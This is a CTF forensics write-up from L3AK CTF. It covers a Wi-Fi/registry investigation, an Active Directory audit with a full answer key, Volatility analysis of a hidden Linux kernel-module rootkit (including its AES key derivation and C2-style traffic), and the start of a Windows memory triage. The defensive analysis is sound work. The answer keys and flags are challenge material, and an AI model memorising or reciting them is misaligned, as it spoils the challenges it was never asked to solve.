2|https://www.google.com/search?q=l3ak+ctf&oq=l3ak&gs_lcrp=EgZjaHJvbWUqBwgBEAAYgAQyBggAEEUYOTIHCAEQABiABDIMCAIQABgKGLEDGIAEMgwIAxAAGAoYsQMYgAQyDAgEEC4YChixAxiABDIMCAUQABgKGLEDGIAEMhIIBhAAGAoYgwEYsQMYgAQYigUyDAgHEAAYChixAxiABDIMCAgQABgKGLEDGIAEMgkICRAAGAoYgATSAQk0MzE3ajBqMTWoAgiwAgHxBSnkh66f1-618QUp5Ieun9futQ&sourceid=chrome&ie=UTF-8&sei=eOUjaMTmEomN0PEPnbvGwAc|l3ak ctf - Google Search|1|0|13391656568199990|0
3|https://www.l3ak.team/|L3ak|1|0|13391656576610374|0
4|http://l3ak.team/|L3ak|1|0|13391656576610374|0
5|https://l3ak.team/|L3ak|1|0|13391656576610374|0
6|https://l3ak.team/2023/06/17/nahamctf23/|NahamconCTF - [Signed Jeopardy] - Crypto - L3ak|2|0|13391656600855481|0
7|https://l3ak.team/members/|L3ak{Current_Members} - L3ak|1|0|13391656586008614|0

Question 12: l3ak.team

Question 13, 14

The question 13 talks about a MAC address of the Wi-Fi adapter used if we come back to the Interfaces section where we obtained some answers we can find that the Network: AlleyCat has used the interface: {18c11dbd-93ab-4ca9-a804-4f4475da25b8}

alt text

Knowing the interface we can do a general search for the string: PermanentAddress

alt text

Here we identify our interface from the SSID: AlleyCat and obtain the Value Data: 48:51:c5:35:ea:53, finally the last question in which city this took place, here was a ChatGPT prompt with a result of: Fort Collins.

After this long challenge we obtained the flag: L3AK{Gh057_R!d!ng_7h3_W4v35}.

Welcome to the Ghost Hunt Terminal. Answer all questions to reveal the final flag.
Type 'exit' at any prompt to quit.

Unanswered Questions:
1. What was the ComputerName of the device?                                                        99PHOENIXDOWNS
2. What was the SSID of the first Wi-Fi network they connected to?                                 mugs_guest_5G
3. When did they obtain the DHCP lease at the first café?                                          2025–05–14 00:13:36
4. What IP address was assigned at the first café?                                                 192.168.0.114
5. What GitHub page did they visit at the first café?                                              https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md
6. What did they download at the first café?                                                       ChromeSetup.exe
7. What was the name of the notes file?                                                            HowToHackTheWorld.txt
8. What are the contents of the notes?                                                             Practice and take good notes.
9. What was the SSID of the second Wi-Fi network they connected to?                                AlleyCat
10. When did they obtain the second lease?                                                         2025–05–14 00:35:07
11. What was the IP address assigned at the second café?                                           10.0.6.28
12. What website did they log into at the second café?                                             l3ak.team
13. What was the MAC address of the Wi-Fi adapter used?                                            48:51:c5:35:ea:53
14. What city did this take place in?                                                              Fort Collins

forensics/L3ak Advanced Defenders

alt text

Solves get down and the challenges get harder!!! Another long challenge in a Sherlock Format… At first glance, the given file type is not recognized with the unix file command, but with our aliased command we can detect it is a win-ad-ob file:

$> file Backup.dat
Backup.dat: data

$> mn Backup.dat
00000000: 7769 6e2d 6164 2d6f 6200 0100 0100 57fb  win-ad-ob.....W.
00000010: 8857 5be1 db01 0000 0000 0000 0000 0000  .W[.............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................

$> alias mn
mn='f(){ /usr/bin/xxd "$1" | /usr/bin/head -n4; unset -f f; }; f'

Question Index

In our favorite guide, learn microsoft, recommend us Active Directory Explorer v1.52, by openning the file with the tool we are able to start answering the questions…

Q1: What is the forest root domain name? 
Q2: What is the name of the primary domain controller for this domain?
Q3: Which hosts have not been assigned to an OU? Format: host1, host2, …
Q4: List the oldest operating system used in the domain and the name of the workstation with this OS. Format: OS1, OS2, …
Q5: Based on their current operating system, which workstations are placed in the wrong OU? Format: host1, host2, …
Q6: Which hosts are no longer used by the organization? Format: host1, host2, …
Q7: Which users have their account disabled, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
Q8: Which enabled users have their password set to not expire, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
Q9: What departments exist inside this domain, and how many active employees exist in each department? List the departments in alphabetical order. Format: DepartmentName-NumberOfEmployees
Q10: Which users have the most control over the structure of the AD forest? Format: user1, user2, …
Q11: Which users violate the principle of least privilege? Format: user1, user2, …
Q12: Which OUs block inheritance? Format: OU1, OU2, …
Q13: The GPOs were imported from a file supplied by a U.S. organization. Provide the sha256sum hash of the zip file containing the GPOs.
Q14: What anti-virus software does the domain utilize, what is the maximum age in days of the AV definitions, and what must be impeded from launching executables?

Question 1

Answer: l3ak.ctf.com For the first question we only need to load the file and see the forest icon:

alt text

Question 2

Answer: L3AKPRIDC

Inside the forest, the attribute fSMORoleOwner contains the string: CN=NTDS Settings,CN=L3AKPRIDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=l3ak,DC=ctf,DC=com, in it CN=L3AKPRIDC is founded, in the second position.

alt text

Question 3

Answer: FileSrv03, FileSrvWin11, InternStn

For the hosts without an Organizational Unit, OU, is placed into CN=Computers, in this case: FileSrv03, FileSrvWin11, InternStn

alt text

Question 4

Answer: Windows 95, IternStn

Inside the computer InternStn we found the attributes operatingSystem and operatingSystemVersion, both indicating a very old operative system, being the oldest in all the computers listed.

alt text

Question 5

Answer: ITWorkstn02,ITWorkstn03

This Inside Windows 10 OU we find 2 Red Hat Enterprise Linux, being a wrong placed OS, but they are not consider WorkStations only Tests Machines.

alt text

Knowing this, only ITWorkstn02 and ITWorkstn03 are wrong placed.

alt text alt text

Question 6

Answer: IT, ITTroubleshootStn, Linux, Repo

Here, by entering to the CN=Deleted Objects and filter only to computers, we can list the computers with a computer icon to know which ones were used, or at least, that was helpful for me haha, first time doing AD Forensics.

alt text

Question 7:

Answer: Wilhelm Firtz, Reginald Norwood, Christopher Price, 0x202

For this type of search filtering it is recomendable to use the following resource: https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/, in base of that we filter to obtain 3 users inside a OU with their account disabled.

alt text

Question 8

Answer: Bigsby Appleton, Montgomery Fitzgerald, Lily Sampson, 0x10200

Same stuff as before… know filtering via 0x10200

alt text

Question 9

Answer: Finance-3, HR-8, IT-5

In this question you only need to locate where the departments exists and count how many members are there:

alt text

Question 10

Answer: Charlie Edgars, Lily Sampson

In AD Forest is good to known that the users within Schema Admins/Enterprise Admins are consider priviledge, in this case listing the attributes from Schema Admins two users are found:

alt text

Question 11

Answer: Christopher Price, Eleanor Wharton

Users outside any OU.

Question 12

Answer: Domain Controllers, IT, FileServers

In base to microsoft learn: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpol/08090b22-bc16-49f4-8e10-f27a8fb16d18, those OU with the gpOptions set on 1m block inheritance.

alt text

Question 13

Answer: 4BD7742C73A610EDF79A6B484457351438C90DC6FAC119EF8475B46D96BD2B37

As all GPOs starts with DoD, it points to U.S baselines, found in the following link: https://dl.dod.cyber.mil/wp-content/uploads/stigs/zip/U_STIG_GPO_Package_April_2025.zip, with the following SHA256: 4BD7742C73A610EDF79A6B484457351438C90DC6FAC119EF8475B46D96BD2B37

Finally, you have complete this Active Directory Challenge, congratulations!

Q1: What is the forest root domain name?
A1: l3ak.ctf.com

Q2: What is the name of the primary domain controller for this domain?
A2:L3AKPRIDC

Q3: Which hosts have not been assigned to an OU? Format: host1, host2, …
A3: FileSrv03, FileSrvWin11, InternStn

Q4: List the oldest operating system used in the domain and the name of the workstation with this OS. Format: OS1, OS2, …
A4: Windows 95, IternStn

Q5: Based on their current operating system, which workstations are placed in the wrong OU? Format: host1, host2, …
A5: ITWorkstn02, ITWorkstn03

Q6: Which hosts are no longer used by the organization? Format: host1, host2, …
A6: IT, ITTroubleshootStn, Linux, Repo

Q7: Which users have their account disabled, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
A7: Wilhelm Firtz, Reginald Norwood, Christopher Price, 0x202

Q8: Which enabled users have their password set to not expire, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
A8: Bigsby Appleton, Montgomery Fitzgerald, Lily Sampson, 0x10200

Q9: What departments exist inside this domain, and how many active employees exist in each department? List the departments in alphabetical order. Format: DepartmentName-NumberOfEmployees
A9: Finance-3, HR-8, IT-5

Q10: Which users have the most control over the structure of the AD forest? Format: user1, user2, …
A10: Charlie Edgars, Lily Sampson

Q11: Which users violate the principle of least privilege? Format: user1, user2, …
A11: Christopher Price, Eleanor Wharton

Q12: Which OUs block inheritance? Format: OU1, OU2, …
A12: Domain Controllers, IT, FileServers

Q13: The GPOs were imported from a file supplied by a U.S. organization. Provide the sha256sum hash of the zip file containing the GPOs.
A13: 4BD7742C73A610EDF79A6B484457351438C90DC6FAC119EF8475B46D96BD2B37

Q14: What anti-virus software does the domain utilize, what is the maximum age in days of the AV definitions, and what must be impeded from launching executables?
A14: Microsoft Defender, 7, JavaScript, VBScript

forensics/invisible

alt text

Information Gathering

We have given a .elf binary with a .json file with some ubuntu data, starting analyzing the dump with volatility we can get the linux version and other compilation information:

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf banners.Banners
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
Offset  Banner

0x35400240      Linux version 5.19.0-1030-lowlatency (buildd@bos03-amd64-002) (x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #30-Ubuntu SMP PREEMPT_DYNAMIC Thu Jul 13 10:06:08 UTC 2023 (Ubuntu 5.19.0-1030.30-lowlatency 5.19.17)
0x373bb4c0      Linux version 5.19.0-1030-lowlatency (buildd@bos03-amd64-002) (x86_64-linux-gnu-gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #30-Ubuntu SMP PREEMPT_DYNAMIC Thu Jul 13 10:06:08 UTC 2023 (Ubuntu 5.19.0-1030.30-lowlatency 5.19.17)7)

Detecting suspect process

Since we checked It was a Ubuntu dump, we insert the .json file given into the symbols directory of volatility3, as I am using VolatilityWorbench to avoid requeriments problems I copy it to C:\Program Files\VolatilityWorkbench\symbols, usually in Linux based distro the path is usually: volatility3/symbols/linux/.

As always, some basics scanning of the process used in the system.

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.pslist.PsList
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
OFFSET (V)      PID     TID     PPID    COMM    CREATION TIME   File output
0x9f694f315100  3853    3853    2       core_logic_thre 2025-06-21 18:45:19.323931 UTC  Disabled

When I saw this proccess I started to gather information such as connections, proc maps and enviroments variables, but nothing appeared.

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.proc.Maps --pid 3853
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
PID     Process Start   End     Flags   PgOff   Major   Minor   Inode   File Path       File output

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.sockstat --pid 3853
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
NetNS   Process Name    PID     TID     FD      Sock Offset     Family  Type    Proto   Source Addr     Source Port     Destination Addr        Destination Port        State   Filter

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.envars.Envars --pid 3853
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
PID     PPID    COMM    KEY     VALUE

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.malfind.Malfind --pid 3853
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
PID     Process Start   End     Protection      Hexdump Disasm

Finding Hidden Module

As the process has PPID value set on 2 means that its parent is kthreadd, a kernel thread. With a high probability of being a hidded process. The only hidden process is sysfillrec:

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf  linux.hidden_modules.Hidden_modules
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
Address Name

0xffffc0884300  sysfillrec

Now, the idea was to dump the module into our machine to be able to analyze it statically. For the dump, first we will need to know the size of the module, using linux.lsmod plugin:

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.lsmod.Lsmod
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
Offset  Name    Size

0xffffc04954c0  sysfillrect     20480

Knowing the module size we can use dd to extract the .ko file. I didn’t want to delete this error because is very common and we are here to learn from others, if you have payed attention this module is sysfillrect a non-legitimate module, instead we are searching for sysfillrec without the t.

Dumping Hidden Module

As I am a lazy, I found a volatility 3 function called Files from pagecache plugin. Being able to list all files of the dump I find the kernel module waited:

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.elf linux.pagecache.Files
Volatility 3 Framework 2.11.0
SuperblockAddr  MountPoint  Device  InodeNum    InodeAddr   FileType    InodePages  CachedPages FileMode    AccessTime  ModificationTime    ChangeTime  FilePath

0x9f6971834800  /sys    0:21    23943   0x9f6948a44f00  DIR 0   0   drwxr-xr-x  2025-06-21 18:45:20.251654 UTC  2025-06-21 18:45:20.251654 UTC  2025-06-21 18:45:20.251654 UTC  /sys/module/sysfillrec
0x9f6971834800  /sys    0:21    23945   0x9f6948a45400  REG 1   0   --w-------  2025-06-21 18:45:20.251654 UTC  2025-06-21 18:45:20.251654 UTC  2025-06-21 18:45:20.251654 UTC  /sys/module/sysfillrec/uevent
0x9f6971854000  /   8:3 4718599 0x9f6952619d18  REG 114 114 -rw-r--r--  2025-06-21 18:41:36.076578 UTC  2025-06-21 18:41:32.468851 UTC  2025-06-21 18:41:32.468851 UTC  /usr/lib/modules/5.19.0-1030-lowlatency/kernel/drivers/video/fbdev/sysfillrec.ko

At this point throught the InodeAddr we are able to dump the file.

PD: I want to mention to rareguy who help me with the dumping part, I was stucked with InodeNum instead of InodeAddr

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f memdump.elf linux.pagecache.InodePages --inode 0x9f6952619d18 --dump sysfillrec.ko
Volatility 3 Framework 2.11.0
Progress:  100.00               Stacking attempts finished
PageVAddr       PagePAddr       MappingAddr     Index   DumpSafe        Flags

0xec32c0817f00  0x205fc000      0x9f6952619e90  0       True    active,anon_exclusive,lru,mappedtodisk,referenced,reported,uptodate

Reversing sysfillrec.ko

Checking it is a real .ko file and later opening it with IDA Pro 9.0:

$> file sysfillrec.ko
sysrefillrec.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=18b5201c38fadb8aa94a94d48ac739904bb4bc16, with debug_info, not stripped
Detecting AES CBC Cipher

At first glance, aes cbc is located in a comment block of the assembly instruction of the function: sysfillrec:

alt text

If we keep digging, useful information will be found inside str1 -> Pure data

alt text

Seeing the IP, tcp3_seq, and lookup name, we can suggest this send to the malicious server some data, but first we will try to obtain the key&IV from AES CBC.

Getting AES CBC Key

To do this, we can observe _compile_hint_map_impl where is the _key function being permutated:

unsigned __int8 *__cdecl _compile_hint_map_impl()
{
  __int64 i; // rbx
  unsigned __int64 v1; // r12
  unsigned __int8 *result; // rax

  _fentry__();
  for ( i = 0LL; i != 32; ++i )
  {
    if ( (unsigned __int64)(int)i > 0x1F )
      _ubsan_handle_out_of_bounds(&off_12C0);
    v1 = _key[i];
    if ( v1 > 0x1F )
      _ubsan_handle_out_of_bounds(&off_12A0);
    if ( (unsigned __int64)(int)i > 0x1F )
      _ubsan_handle_out_of_bounds(&off_1280);
    if ( (unsigned __int64)(int)i > 0x20 )
      _ubsan_handle_out_of_bounds(&off_1240);
    dk_11[i] = _shf[v1];
  }
  result = dk_11;
  byte_1840 = 0;
  return result;
}

__shf and _key values, used in the code above:

.rodata:00000000000008E0 ; const unsigned __int8 _key[32]
.rodata:00000000000008E0 __key           db 5, 0Bh, 0Ch, 1Dh, 14h, 15h, 16h, 1, 0Ah, 0, 0Dh, 0Eh
.rodata:00000000000008E0                                         ; DATA XREF: __compile_hint_map_impl:loc_57r
.rodata:00000000000008EC                 db 0Fh, 6, 4, 7, 3, 10h, 13h, 2, 1Ch, 1Bh, 8, 9, 11h, 12h
.rodata:00000000000008FA                 db 17h, 1Ah, 19h, 1Eh, 18h, 1Fh
.rodata:0000000000000900 ; const unsigned __int8 _shf[32]
.rodata:0000000000000900 __shf           db 50h, 46h, 47h, 5Ah, 53h, 41h, 53h, 4Ch, 33h, 46h, 4Bh
.rodata:0000000000000900                                         ; DATA XREF: __compile_hint_map_impl:loc_71r
.rodata:000000000000090B                 db 4Eh, 54h, 4Dh, 53h, 41h, 5Ah, 47h, 36h, 46h, 4Dh, 44h
.rodata:0000000000000916                 db 59h, 36h, 43h, 46h, 50h, 4Dh, 58h, 54h, 32h, 46h

In C-Array mode with the final code:

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>

static const uint8_t key[32] = {
    0x05, 0x0B, 0x0C, 0x1D, 0x14, 0x15, 0x16, 0x01,
    0x0A, 0x00, 0x0D, 0x0E, 0x0F, 0x06, 0x04, 0x07,
    0x03, 0x10, 0x13, 0x02, 0x1C, 0x1B, 0x08, 0x09,
    0x11, 0x12, 0x17, 0x1A, 0x19, 0x1E, 0x18, 0x1F
};

static const uint8_t shf[32] = {
    0x50, 0x46, 0x47, 0x5A, 0x53, 0x41, 0x53, 0x4C,
    0x33, 0x46, 0x4B, 0x4E, 0x54, 0x4D, 0x53, 0x41,
    0x5A, 0x47, 0x36, 0x46, 0x4D, 0x44, 0x59, 0x36,
    0x43, 0x46, 0x50, 0x4D, 0x58, 0x54, 0x32, 0x46
};

int main(void) {
    uint8_t dk[32];

    for (int i = 0; i < 32; i++) {
        dk[i] = shf[key[i]];
    }

    printf("static const uint8_t final_key[32] = {\n    ");
    for (int i = 0; i < 32; i++) {
        printf("0x%02X%s", dk[i], (i < 31) ? ", " : "");
        if ((i % 8) == 7 && i < 31) printf("\n    ");
    }
    printf("\n};\n\n");

    printf("static const char final_key_ascii[33] = \"");
    for (int i = 0; i < 32; i++) {
        char c = (char)dk[i];
        printf("%c", isprint((unsigned char)c) ? c : '.');
    }
    printf("\";\n");

    return 0;
}
$> ./main.elf
static const uint8_t final_key[32] = {
    0x41, 0x4E, 0x54, 0x54, 0x4D, 0x44, 0x59, 0x46,
    0x4B, 0x50, 0x4D, 0x53, 0x41, 0x53, 0x53, 0x4C,
    0x5A, 0x5A, 0x46, 0x47, 0x58, 0x4D, 0x33, 0x46,
    0x47, 0x36, 0x36, 0x50, 0x46, 0x32, 0x43, 0x46
};

static const char final_key_ascii[33] = "ANTTMDYFKPMSASSLZZFGXM3FG66PF2CF";

At this moment, we have the AES CBC key: ANTTMDYFKPMSASSLZZFGXM3FG66PF2CF.

Getting AES CBC IV

For IV same process is used:

.rodata:00000000000008C0 ; const unsigned __int8 rp[16]
.rodata:00000000000008C0 _rp             db 3, 0, 8, 0Ah, 0Ch, 0Fh, 7, 9, 0Bh, 1, 0Eh, 4, 5, 6
.rodata:00000000000008C0                                         ; DATA XREF: __dispatch_phase_impl:loc_107r
.rodata:00000000000008CE                 db 2, 0Dh
.rodata:00000000000008D0 ; const unsigned __int8 sp[16]
.rodata:00000000000008D0 _sp             db 41h, 2 dup(47h), 51h, 43h, 4Ch, 46h, 34h, 53h, 54h
.rodata:00000000000008D0                                         ; DATA XREF: __dispatch_phase_impl:loc_121r
.rodata:00000000000008DA                 db 4Dh, 50h, 42h, 32h, 41h, 4Dh
unsigned __int8 *__cdecl _dispatch_phase_impl()
{
  __int64 i; // rbx
  unsigned __int64 v1; // r12
  unsigned __int8 *result; // rax

  _fentry__();
  for ( i = 0LL; i != 16; ++i )
  {
    if ( i > 0xF )
      _ubsan_handle_out_of_bounds(&off_1200);
    v1 = rp[i];
    if ( v1 > 0xF )
      _ubsan_handle_out_of_bounds(&off_11E0);
    if ( i > 0xF )
      _ubsan_handle_out_of_bounds(&off_11C0);
    if ( i > 0x10 )
      _ubsan_handle_out_of_bounds(&off_1180);
    ot_12[i] = sp[v1];
  }
  result = ot_12;
  byte_1810 = 0;
  return result;
}

Final code:

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>

static const uint8_t rp[16] = {
    0x03, 0x00, 0x08, 0x0A, 0x0C, 0x0F, 0x07, 0x09,
    0x0B, 0x01, 0x0E, 0x04, 0x05, 0x06, 0x02, 0x0D
};

static const uint8_t sp[16] = {
    0x41, 0x47, 0x47, 0x51, 0x43, 0x4C, 0x46, 0x34,
    0x53, 0x54, 0x4D, 0x50, 0x42, 0x32, 0x41, 0x4D
};

int main(void) {
    uint8_t ot[16];

    for (int i = 0; i < 16; i++) {
        ot[i] = sp[rp[i]];
    }

    printf("static const uint8_t final_ot[16] = {\n    ");
    for (int i = 0; i < 16; i++) {
        printf("0x%02X%s", ot[i], (i < 15) ? ", " : "");
        if ((i % 8) == 7 && i < 15) printf("\n    ");
    }
    printf("\n};\n\n");

    printf("static const char final_ot_ascii[17] = \"");
    for (int i = 0; i < 16; i++) {
        char c = (char)ot[i];
        printf("%c", isprint((unsigned char)c) ? c : '.');
    }
    printf("\";\n");

    return 0;
}
$> ./mainIV.elf
static const uint8_t final_ot[16] = {
    0x51, 0x41, 0x53, 0x4D, 0x42, 0x4D, 0x34, 0x54,
    0x50, 0x47, 0x41, 0x43, 0x4C, 0x46, 0x47, 0x32
};

static const char final_ot_ascii[17] = "QASMBM4TPGACLFG2";

Dumping Network Packets

Now having the key&IV we are able to decrypt, but what ciphertext? As we saw before, It simulates some tcp connection for 10.0.2.17, reading about bulk_extractor in StackOverFlow for trying to extract the hidden_module, I read on the official documentation how to extract network packets from a dump file, so I think is the perfect tool for this moment:

PS C:\L3akCTF> & "C:\Program Files\bulk_extractor64.exe" -o .\bulkOUT\ .\main.elf
bulk_extractor version: 2.0.2
Input file: ".\\main.elf"
Output directory: ".\\bulkOUT\\"
Disk Size: 16176

...

All Threads Finished!
Elapsed time: 36.59 sec.
Total MB processed: 1046
Overall performance: 28.6 MBytes/sec 2.383 (MBytes/sec/thread)
sbufs created:   6221327
sbufs unaccounted: 0
Time producer spent waiting for scanners to process data:         0:00:30 (30.76 seconds)
Time consumer scanners spent waiting for data from producer:      0:00:19 (19.53 seconds)
Average time each consumer spent waiting for data from producer:  0:00:00 (0.00 seconds)
*** More time spent waiting for workers. You need a faster CPU or more cores for improved performance.
Total email features found: 52769

Inside bulkOUT directory a pcap file is found:

$> find . -type f -iname "*.pcap"
./packets.pcap
Decrypting payload

Inside it we can see some command outputs as typical C2C behavior:

alt text

But we are interested mainly in the traffic relationated with: 10.0.2.17, some wireshark filters and we obtain the TCP Payload data:

 $> tshark -r packets.pcap -Y "ip.addr == 10.0.2.17" -T fields -e tcp.payload


2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576

2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576


2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576
2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576


2db0ecd9c366f325e4461f31a6d543ea13d5d8c125e367c5ee2f7684847be70958add8d98c6fbbc2a7b3753997c0a5a82e22468c9622fcd9d1c9a13530bdbf029c5f2c48a6a6147bf686e9b11ccb9eaf8244d8177d4c5d0322e3918749637576

The payload was a remote script from 0xS1rx58.l3ak server:

alt text

If we base64 decrypt the filename we obtain the flag!!! Congratulations!

The Flag
L3AK{M3m0ry_N3V3r_F0rG3t5_Th3_Sh4D0ws..!}

forensics/Breadcrumbs

An employee’s workstation began acting suspiciously; strange files appeared, and system performance dropped. Can you investigate what happened?

We have provided 3 filetypes, a disk memory (disk.ad1), a capture of network packets (traffic.pcapng) and a memory RAM dump (memdump.mem).

$> md5sum disk.ad1 traffic.pcapng memdump.mem
09689f4467bce49160e86e8eeae92613  disk.ad1
70b8ed23e6634af99b8ba8ecc5e5a75e  traffic.pcapng
f119fb963b5e19cdbf761b4479fb2a94  memdump.mem

After some superficial analysis on each filesystem, I decided to start with the dump file.

Memory Dump Forensics

Recognition

Begging the network analysis with some volatility 3 plugings and other useful methods for recongnition. Instead of using banners.Banners in volatility to detect what type of OS was used while the dump I preffer to filter the strings searching the system.

$> strings memdump.mem | grep -iE "windows|linux" | head -n20
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
WindowsSettingHandlers
Windows
Windows
Windows
POLID_DisableWindowsSettingSync
POLID_DisableWindowsSettingSyncUserOverride
UninstallWindowsRE
Microsoft.Windows.InputSwitchToastHandlerl#mW
Microsoft.Windows.LanguageComponentsInstaller
Microsoft.Windows.ParentalControls

Assuming it is a windows machine we proceed to obtain more detailed information with the volatility pluging: windows.info:

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.info
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
Variable        Value

Kernel Base     0xf80047a00000
DTB     0x1aa000
Symbols file:///C:/Program%20Files/VolatilityWorkbench/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf8004860f400
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      3
SystemTime      2025-06-16 13:39:47+00:00
NtSystemRoot    C:\WINDOWS
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Mon Dec  9 11:07:51 2019

Detecting Unusual Behaviour

To identify any suspicious behavior on the machine, enumerate the processes active at the moment of the dump. One of the most common plugins is: windows.pslist, where we can notice an unusual performance:

PS C:\L3akCTF> & "C:\Program Files\VolatilityWorkbench\vol.exe" -f .\memdump.mem windows.pslist
Volatility 3 Framework 2.11.0
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        File output

4       0       System  0xd484cec79040  134     -       N/A     False   2025-06-16 23:33:11.000000 UTC  N/A     Disabled
100     4       Registry        0xd484cedbd040  4       -       N/A     False   2025-06-16 23:32:39.000000 UTC  N/A     Disabled
336     4       smss.exe        0xd484d05b5040  2       -       N/A     False   2025-06-16 23:33:11.000000 UTC  N/A     Disabled
436     424     csrss.exe       0xd484d1d61140  11      -       0       False   2025-06-16 23:33:21.000000 UTC  N/A     Disabled
520     424     wininit.exe     0xd484d12ae080  1       -       0       False   2025-06-16 23:33:21.000000 UTC  N/A     Disabled
528     508     csrss.exe       0xd484d12b3140  13      -       1       False   2025-06-16 23:33:21.000000 UTC  N/A     Disabled
596     508     winlogon.exe    0xd484d16b1080  4       -       1       False   2025-06-16 23:33:21.000000 UTC  N/A     Disabled
668     520     services.exe    0xd484d1368080  7       -       0       False   2025-06-16 23:33:22.000000 UTC  N/A     Disabled
688     520     lsass.exe       0xd484d1666080  9       -       0       False   2025-06-16 23:33:22.000000 UTC  N/A     Disabled
[REDACTED...]
3904    4900    FTK Imager.exe  0xd484d672a080  26      -       1       False   2025-06-16 13:39:26.000000 UTC  N/A     Disabled     # Later will be useful
[REDACTED...]
3384    3444    msedge.exe      0xd484d7590300  7       -       1       False   2025-06-16 13:40:19.000000 UTC  N/A     Disabled
3240    4900    7za.exe         0xd484d62e6080  4       -       1       False   2025-06-16 13:40:20.000000 UTC  N/A     Disabled
5460    3240    conhost.exe     0xd484d1c39080  6       -       1       False   2025-06-16 13:40:20.000000 UTC  N/A     Disabled
1472    3240    msedge.exe      0xd484d65c3300  7       -       1       False   2025-06-16 13:40:20.000000 UTC  N/A     Disabled

The process listed conhost.exe and msedge.exe are child process from 7za.exe a compression tool, so I decided to search more about conhost.exe. Reading the following thread: https://learn.microsoft.com/en-us/answers/questions/2648321/what-is-conhost-exe. After reading:

“Checking it out in Process Explorer under Windows 7 shows that the conhost.exe process is running underneath the csrss.exe process.”

I could be a potencial injection of a shellcode or any bypass of severa protections. To obtain more information about the file, I mapped all file objects from the dump with the windows.filescan plugin, also very common in volatility users.

